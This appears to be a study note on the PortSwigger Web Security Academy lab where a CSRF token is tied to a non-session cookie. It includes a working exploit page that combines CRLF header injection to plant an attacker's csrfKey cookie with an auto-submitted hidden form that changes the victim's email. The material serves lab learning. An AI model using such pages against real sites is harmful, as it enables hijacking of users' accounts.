> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/crsf/lab-4.md).

# Lab 4

### CSRF token is tied to a non-session cookie

```
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

session=WIENER_SESSION    ← Framework A knows this is wiener
csrfKey=CARLOS_KEY        ← Framework B has no idea this belongs to carlos
csrf=CARLOS_TOKEN         ← matches CARLOS_KEY → Framework B says "valid!"
```

This is how it should work:

```
session cookie → identifies YOU
csrfKey cookie → should be tied to YOUR session
csrf body token → should match YOUR csrfKey
```

This is how a wrong CSRF token:

```
session cookie → identifies YOU (wiener)
csrfKey cookie → just a random key, not linked to session at all
csrf body token → just needs to match the csrfKey, any csrfKey
```

{% hint style="info" %}
The csrfKey might be connected through several ways: crsf body is the hash of crsfKey? Are the linked in the same codebase? Encoded?
{% endhint %}

{% hint style="info" %}
csrfKey=VXfqdEAJpfOJPuS75WdzLrj8jH0p4Vkt ← reusable\
csrf=u7VMtpQTu4aXguh83XQUfxLZw7fw1PHE ← single use
{% endhint %}

### Solving It

<figure><img src="/files/QLhMBnIU60IB14n0MCj4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/U9QQROFQVwuMT93vyxIa" alt=""><figcaption></figcaption></figure>

How can we implement crsfKey? It's not just a input type this time.&#x20;

```
<html>
  <body>
    <form action="https://0adc00cb04d71e3a80bc037c00db0054.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@gmail.com" />
      <input type="hidden" name="csrf" value="u7VMtpQTu4aXguh83XQUfxLZw7fw1PHE" />
    </form>
    <img src="https://0adc00cb04d71e3a80bc037c00db0054.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=VXfqdEAJpfOJPuS75WdzLrj8jH0p4Vkt%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

```

Together `\r\n` (%0d%0a)= "go to the start of the next line" — which is how HTTP separates headers. This lets you set another header.&#x20;

**`SameSite=None`** Tells the browser this cookie can be sent on cross-site requests — necessary for the CSRF attack to work.

**`?search=x`** Dummy search value — just makes the request valid. Throwaway.

<figure><img src="/files/ZBGgs9E5z9LALiA936y8" alt=""><figcaption></figcaption></figure>

* Search bar → look for `/?search=` in Proxy HTTP History
* "Invalid token" not "logged out" → proves session and csrfKey are completely separate checks

The search doesn't have any CRSF protection&#x20;

{% hint style="info" %}
Does the action change something important? → needs CSRF token\
Does it just read/display data? → usually no CSRF token
{% endhint %}

#### What you injected where

**Via the `<img>` tag (search CRLF injection):**

```
csrfKey=YOUR_KEY → planted into victim's browser cookie
```

**Via the `<input type="hidden">` (form body):**

```
csrf=YOUR_TOKEN → sent in the POST request body
```
